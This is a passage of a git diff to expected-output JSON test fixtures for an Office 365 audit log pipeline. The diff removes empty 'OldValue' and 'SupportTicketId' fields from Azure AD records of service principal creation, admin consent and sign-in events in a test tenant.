+15331,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793", @@ -15972,19 +15501,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -16163,19 +15686,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -16354,19 +15871,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -16547,30 +16058,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem2", - "OldValue": "" + "NewValue": "siem2" }, "ServicePrincipal_Name": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -16751,30 +16256,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem2", - "OldValue": "" + "NewValue": "siem2" }, "ServicePrincipal_Name": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -16955,30 +16454,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem2", - "OldValue": "" + "NewValue": "siem2" }, "ServicePrincipal_Name": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -17159,30 +16652,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem2", - "OldValue": "" + "NewValue": "siem2" }, "ServicePrincipal_Name": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -17363,30 +16850,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem2", - "OldValue": "" + "NewValue": "siem2" }, "ServicePrincipal_Name": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -17567,30 +17048,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem2", - "OldValue": "" + "NewValue": "siem2" }, "ServicePrincipal_Name": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -17771,30 +17246,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem2", - "OldValue": "" + "NewValue": "siem2" }, "ServicePrincipal_Name": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -17975,30 +17444,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem2", - "OldValue": "" + "NewValue": "siem2" }, "ServicePrincipal_Name": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -18178,31 +17641,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -18382,31 +17830,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -18586,31 +18019,16 @@ "version": "2" }, "ModifiedProperties": { - "ServicePrincipal_AppId": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_DisplayName": { - "NewValue": "", - "OldValue": "" - }, - "ServicePrincipal_Name": { - "NewValue": "", - "OldValue": "" - }, "ServicePrincipal_ObjectID": { - "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855", - "OldValue": "" + "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855" }, "TargetId_ServicePrincipalNames": { - "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", - "OldValue": "" + "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us" } }, "ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6", @@ -18790,34 +18208,24 @@ }, "ModifiedProperties": { "ConsentAction_Permissions": { - "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ", - "OldValue": "" + "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; " }, "ConsentContext_IsAdminConsent": { - "NewValue": "True", - "OldValue": "" + "NewValue": "True" }, "ConsentContext_IsAppOnly": { - "NewValue": "False", - "OldValue": "" + "NewValue": "False" }, "ConsentContext_OnBehalfOfAll": { - "NewValue": "True", - "OldValue": "" - }, - "ConsentContext_Tags": { - "NewValue": "", - "OldValue": "" + "NewValue": "True" }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -18997,34 +18405,24 @@ }, "ModifiedProperties": { "ConsentAction_Permissions": { - "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ", - "OldValue": "" + "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; " }, "ConsentContext_IsAdminConsent": { - "NewValue": "True", - "OldValue": "" + "NewValue": "True" }, "ConsentContext_IsAppOnly": { - "NewValue": "False", - "OldValue": "" + "NewValue": "False" }, "ConsentContext_OnBehalfOfAll": { - "NewValue": "True", - "OldValue": "" - }, - "ConsentContext_Tags": { - "NewValue": "", - "OldValue": "" + "NewValue": "True" }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -19204,34 +18602,24 @@ }, "ModifiedProperties": { "ConsentAction_Permissions": { - "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ", - "OldValue": "" + "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; " }, "ConsentContext_IsAdminConsent": { - "NewValue": "True", - "OldValue": "" + "NewValue": "True" }, "ConsentContext_IsAppOnly": { - "NewValue": "False", - "OldValue": "" + "NewValue": "False" }, "ConsentContext_OnBehalfOfAll": { - "NewValue": "True", - "OldValue": "" - }, - "ConsentContext_Tags": { - "NewValue": "", - "OldValue": "" + "NewValue": "True" }, "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -19412,26 +18800,21 @@ }, "ModifiedProperties": { "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "User_ObjectID": { - "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b", - "OldValue": "" + "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b" }, "User_PUID": { - "NewValue": "1003200096971F55", - "OldValue": "" + "NewValue": "1003200096971F55" }, "User_UPN": { - "NewValue": "asr@testsiem.onmicrosoft.com", - "OldValue": "" + "NewValue": "asr@testsiem.onmicrosoft.com" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -19612,26 +18995,21 @@ }, "ModifiedProperties": { "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "User_ObjectID": { - "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b", - "OldValue": "" + "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b" }, "User_PUID": { - "NewValue": "1003200096971F55", - "OldValue": "" + "NewValue": "1003200096971F55" }, "User_UPN": { - "NewValue": "asr@testsiem.onmicrosoft.com", - "OldValue": "" + "NewValue": "asr@testsiem.onmicrosoft.com" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -19812,26 +19190,21 @@ }, "ModifiedProperties": { "TargetId_ServicePrincipalNames": { - "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", - "OldValue": "" + "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40" }, "User_ObjectID": { - "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b", - "OldValue": "" + "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b" }, "User_PUID": { - "NewValue": "1003200096971F55", - "OldValue": "" + "NewValue": "1003200096971F55" }, "User_UPN": { - "NewValue": "asr@testsiem.onmicrosoft.com", - "OldValue": "" + "NewValue": "asr@testsiem.onmicrosoft.com" } }, "ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855", @@ -19906,4 +19279,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-sts-logon-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-sts-logon-events.json-expected.json index ad1a01d1e5f..77e7080d97a 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-sts-logon-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-sts-logon-events.json-expected.json @@ -66,7 +66,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -196,7 +195,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -326,7 +324,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -456,7 +453,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -586,7 +582,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -716,7 +711,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -846,7 +840,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -976,7 +969,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -1106,7 +1098,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -1236,7 +1227,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -1366,7 +1356,6 @@ "ObjectId": "00000002-0000-0ff1-ce00-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0ff1-ce00-000000000000", @@ -1496,7 +1485,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -1626,7 +1614,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -1756,7 +1743,6 @@ "ObjectId": "00000002-0000-0ff1-ce00-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0ff1-ce00-000000000000", @@ -1886,7 +1872,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -2016,7 +2001,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -2146,7 +2130,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -2276,7 +2259,6 @@ "ObjectId": 